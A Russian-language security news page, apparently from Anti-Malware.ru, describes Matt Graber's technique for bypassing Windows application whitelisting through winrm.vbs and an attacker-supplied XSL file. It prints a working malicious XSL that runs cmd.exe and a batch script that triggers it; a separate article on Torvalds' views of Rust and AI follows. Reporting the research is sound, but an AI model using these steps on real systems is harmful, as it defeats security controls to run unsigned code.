В Windows найден метод обхода белых списков приложений

В Windows найден метод обхода белых списков приложений

В Windows найден метод обхода белых списков приложений

Исследователь в области кибербезопасности Мэтт Гребер нашел интересный метод обхода белых списков приложений в Windows. Помимо этого, эксперт описал технику выполнения произвольного неподписанного кода в winrm.vbs.

winrm.vbs (подписанный Windows скрипт в System32) способен выполнять контролируемый злоумышленником XSL, который не попадет под ограничения «enlightened script host», в результате это приведет к выполнению произвольного неподписанного кода.

«Если вы добавляете “-format:pretty” или “ -format:text” в winrm.vbs, он вытащит WsmPty.xsl или WsmTxt.xsl из каталога, в котором находится cscript.exe. Это значит, что атакующий может скопировать cscript.exe в нужное ему место, где находится вредоносный XSL», — пишет специалист.

«Благодаря этому киберпреступник может добиться выполнения произвольного неподписанного кода. Эта техника практически идентична описанному Кейси Смитом методу с использованием wmic.exe».

Что касается Proof-of-Concept, эксперт опубликовал следующие шаги:

  1. Поместить вредоносный файл WsmPty.xsl или WsmTxt.xsl в контролируемую атакующим директорию.
  2. Скопировать файл cscript.exe или wscript.exe в ту же самую директорию.
  3. Выполнить winrm.vbs с «-format», указав «pretty» (если был помещен файл WsmPty.xsl) или «text» (если был помещен файл WsmTxt.xsl).

Исследователь привел пример вредоносного XSL, который можно поместить в контролируемый злоумышленником каталог. В качестве примера эксперт помещает файл по этому пути — C:\BypassDir\WsmPty.xsl.

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

Грамотное оформление вредоносного файла WsmPty.xsl должно включать использование встроенного пейлоада DotNetToJScript, приводящего к выполнению произвольного кода.

«В процессе помещения файла WsmPty.xsl можно использовать следующий пакетный файл для запуска пейлоада», — объясняет эксперт:

mkdir %SystemDrive%\BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

Торвальдс охладил хайп: Rust и ИИ не спасут Linux от плохого кода

Линус Торвальдс снова разложил всё по полкам и без лишнего поклонения модным технологиям. На Open Source Summit India 2026 создатель Linux рассказал, что ядро развивается без блокбастерных релизов: не резкие скачки, а спокойное постоянное улучшение. Такой подход он предпочитает с тех пор, как появился Git.

По словам Торвальдса, ИИ начал находить интересные баги, и это заметно напрягает сообщество.

Проблема не только в реальных уязвимостях, но и в мусоре: LLM могут генерировать отчёты, которые выглядят правдоподобно, но оказываются галлюцинациями. Людям потом приходится тратить время, чтобы доказать, что ошибки на самом деле не существует.

Торвальдс признал, что сам почти не пишет код и теперь скорее руководит разработкой, чем программирует. Его работа — понимать общий смысл изменений, разбирать пулл-реквесты и следить, чтобы в ядро не прилетало что попало в последний момент. Технические баги, говорит он, чинить проще, чем человеческие конфликты.

Отдельно досталось Rust. Торвальдс считает язык интересным, но не верит, что он захватит мир. По его словам, Rust помогает избежать части простых ошибок, характерных для C, но не спасает от плохой логики. Если программист написал неправильный код, язык за него думать не начнёт. А в смешанных C/Rust-проектах гарантии Rust работают только там, где код действительно остаётся внутри Rust-модулей.

ИИ Торвальдс тоже не списывает со счетов. Он использует LLM для собственных небольших проектов и прототипов, но для исправлений уровня ядра Linux, по его мнению, такие инструменты пока недостаточно надёжны. Если ИИ нашёл баг, мало просто закинуть отчёт разработчикам, нужен человек, который проверит проблему, предложит патч и доведёт обсуждение до результата.

RSS: Новости на портале Anti-Malware.ru